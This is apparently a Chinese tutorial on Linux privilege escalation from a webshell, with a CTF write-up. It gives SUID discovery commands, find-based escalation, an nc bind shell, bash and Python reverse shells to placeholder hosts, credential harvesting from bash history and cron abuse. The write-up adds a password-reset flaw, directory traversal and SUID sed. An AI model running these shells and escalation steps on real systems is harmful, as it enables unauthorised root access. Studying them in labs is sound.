linux webshell提权
linux webshell提权
Sherlock参考
Linux suid提权
什么是suid
suid(set uid)是linux中的一种特殊权限,suid可以让调用者以文件拥有者身份运行该文件,所以利用suid提权的核心就是运行root用户所拥有的suid的文件,那么运行该文件的时候就得获得root用户的身份了。
suid特点是用户运行某个程序时,如果该程序有suid权限,程序运行进程的属主不是发起者,而是程序文件所属的属主。
linux引入了3个文件来管理用户组:
- /etc/passwd存放用户信息。
- /etc/shadow存放用户密码信息。
- /etc/group存放组信息。
在文件系统中的每个文件的文件头里面添加了用户和文件之间的关系信息。
用户信息/etc/passwd每行共有7个字段冒号隔开:
字段1为用户名。
字段2为用户的密码。
字段3为指UID,每个用户都有自己的uid。
字段4为组UID,每个用户都有不同的uid。
字段5为解释说明的字段。
字段6为指用户的根目录。
字段7为指登录shell,用户登录shell,当前为/bin/zsh表示可以登录,/sbin/nologin标识不被授权登录。
如何利用
在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效。
只有root用户的uid是0,如果把一个普通用户的uid修改为0,那么只要以普通用户的用户名和密码登录系统就会自动切换到root用户,在系统加固时一定要找出有哪些用户的uid为0。
假设可执行文件binexec其属主为root,当以非root身份登录时,如binexec设置了suid权限,就可以在非root身份下运行该可执行文件,可执行文件运行时该进程的权限为root权限。
利用此特性,就可通过suid进行提权。
如何设置suid
利用
1 | chmod u+s filename #设置suid |
可以看见,我们示例的图片由 -rw变为了-rwS,所以就是添加上了suid权限
如何查找suid文件
具有suid权限的二进制可执行文件有:
1 | nmap |
从网上找了几个常见的命令
更多有关suid的可以看GTFOBins
1 | find / -user root -perm -4000 -print 2>/dev/null |
以find / -perm -u=s -type f 2>/dev/null讲解一下各个参数代表什么
1 | find / -perm -u=s -type f 2>/dev/null |
利用以上这几个命令可以找到正在系统上运行的所有suid可执行文件。
也可以使用sudo -l 列出当前用户可执行的命令
举个例子,我这里用Newstar的靶机演示了
1 | find / -user root -perm -4000 -exec ls -ldb {} \; |
ls一下看看是否设置了suid权限
1 | ls -al /usr/bin/su |
可以看到确实设置了suid权限,而且属主为root,现在我们是不是可以利用我们之前提到的suid可执行二进制文件从而进行提权呢
进行suid提权(这里就记一个find)
这里的前提都是要有suid权限
find
1 | find 具有suid权限的filename -exec whoami \; -quit |
还有一种差不多的提权方法
1 | #先前利用以上查找suid文件查询到了/usr/bin/find 有suid权限 |
广播shell
在靶机上:
1 | find user -exec nc -lvp 4444 -e '/bin/sh' \; |
在攻击机上:
1 | nc 靶机ip 4444 |
反弹shell
在靶机上:
1 | find 具有suid权限的filename -exec bash -c 'bash -i >& /dev/tcp/ip/port 0>&1' \; |
在攻击机上:
1 | nc -lvp port |
这里我延申一下,也可以写一个反弹root的shell
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
这里也可以结合之前的命令
1 | /usr/bin/find 1.txt -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \; |
一些奇奇怪怪的提权
通过查询历史记录从而获得信息泄露的信息
利用以下命令可以获取
1 | cat ~/.bash_history |
这个命令可以查看当前用户使用过的历史命令
有可能会得到root登录的密码
计划任务提权
可以利用
1 | ls -l /etc/cron* |
查看定期执行的计划任务,如果有用户写的脚本,那么我们可以进行脚本的修改然后回连rootshell,从而提权
linux配置错误从而提权
利用linuxprivchecker:https://www.securitysift.com/download/linuxprivchecker.py
unix-privesc-check:http://pentestmonkey.net/tools/audit/unix-privesc-check
这两个工具进行查找linux中配置错误的文件
[湖湘杯 2021 final]Penetratable
这道题差不多可以当成渗透题目来做
拿到题目网址,先用dirsearch扫一手
1 | Target: http://node4.anna.nssctf.cn:28861/ |
直接访问/phpinfo.php无任何反应,空白页面
先注册一个账号,登录之后发现有修改密码功能,并且通过熊猫头插件扫出来的接口得知存在admin和root用户,直接访问会提示无权限
用bp拦截下该重置密码的请求并将用户名改为admin,密码修改成功
再将名字改为root尝试修改提示无权限
再登录admin账号,直接访问接口/?c=admin&m=updatePass,提示缺少参数
于是查看js文件,搜索updatePass()方法
1 | function updatePass(){ |
补上相关参数后,尝试修改root密码,成功
成功登录root账号,里面有一个查看日志的功能,并可以将该日志文件下载下来
拦截下载请求包,发送到repeater,发现返回包会直接返回文件内容
于是尝试是否有目录遍历漏洞,就访问前面dirsearch扫出来的文件phpinfo.php,成功
将md5序列拿去解密
都明白了之后,直接反弹shell出来
查看根目录发现访问flag文件需要root权限,并且只能读取不能进行其他操作
进行suid提权,首先查看哪些文件有suid权限:find / -perm -u=s -type f 2>/dev/null
其中有/bin/sed我们可以进行利用,问手ai看看如何利用,成功读取flag
还有另外一种方法,如下所示:
1 | www-data@6aae652213e24b63:/var/www/html$ perl -le 'print crypt("test","addedsalt")' |
SUDO
提权
1 | sudo -l |